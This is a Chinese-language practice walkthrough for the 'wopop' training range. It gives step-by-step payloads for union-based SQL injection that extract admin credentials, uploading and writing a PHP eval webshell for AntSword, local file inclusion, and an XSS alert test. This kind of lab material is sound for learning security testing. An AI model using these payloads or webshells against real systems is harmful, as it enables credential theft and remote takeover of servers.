wopop靶场漏洞挖掘练习

1、SQL注入漏洞

1、在搜索框输入-1 union select 1,2,3#

2、输入-1 union select 1,2,database()# ，可以得出数据库名

3、输入-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test'#，可以得出数据库中的表名

4、输入-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='test' and table_name='admin'#，可以得出表中的列

5、输入-1 union select 1,2,group_concat(user_name,user_pass) from admin#，可以得出admin表中的数据

6、使用查询的账号密码即可登陆后台

2、文件上传漏洞

1、登陆后台后最底部可以上传文件

2、编辑一个内容为一句话木马的PHP文件

3、上传PHP文件，得出文件上传地址

4、访问上传的PHP文件，并使用蚁剑连接

3、命令执行漏洞

1、在页面最下方有一个命令执行框

2、输入系统命令会执行，输入whoami

3、尝试写入一句话木马 echo '<?php @eval($_POST[cmd]);?>' > 7.php

4、访问7.php

5、页面没有出错，使用蚁剑连接

4、文件包含漏洞

1、在“关于”界面中可以看到本页面是直接采用本地包含，尝试看看能否包含其他文件

2、在file后添加sxy1.php，并访问该文件

5、XSS漏洞

1、在登陆界面的username处输入<script>alert(1)</script>,点击登录，会出现弹窗